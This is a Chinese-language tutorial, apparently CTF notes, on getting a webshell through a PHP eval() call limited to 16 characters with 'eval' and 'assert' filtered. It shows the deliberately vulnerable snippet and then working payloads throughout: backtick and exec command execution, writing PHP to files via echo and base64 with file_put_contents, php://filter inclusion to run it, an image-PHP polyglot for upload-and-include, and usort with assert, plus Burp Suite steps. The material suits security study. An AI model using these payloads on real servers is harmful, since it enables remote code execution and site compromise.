EVAL长度限制突破方法
<?php
$param = $_REQUEST['param'];
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{eval($param);
}
//stripos — 查找字符串首次出现的位置(不区分大小写)
eval函数参数限制在16个字符的情况下,如何拿到Webshell?
`$_GET[1]’
相似答案:
exec($_GET[1]);
linux下反引号可以执行命令
?param=echo $_GET[0]
;&0=id
那么就可以写一些内容到一些文件里去
再访问一下
param=echo%20$_GET[0]
;&0=param=echo $_GET[0]
;&0=echo ‘<?php phpinfo();’ > a.php
写入成功
也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php
param=$_GET1;
param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来php:// — 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode() 和 base64_decode() 函数处理所有的流数据。
文件包含
找一张普通图片
写一个php文件
copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png
+ → 表示合并文件。
web.php→ 第二个文件。
/a→ 表示以 ASCII 文本模式 处理 web.php。
web.jpg → 最终输出的文件名。
web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。
很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET[‘文件路径’]就可以了。
文件包含可以把任意一个文件里面的php代码执行起来
usort(…$_GET);
?1[]=test&1[]=phpinfo();&2=assert
在windows上访问
使用BurpSuite抓包
抓到之后发送给Repeater,然后转换为POST
在php的整体运行流程中允许POST和GET同步执行
(…$_GET(变长参数))把1[]=test&1[]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。
发送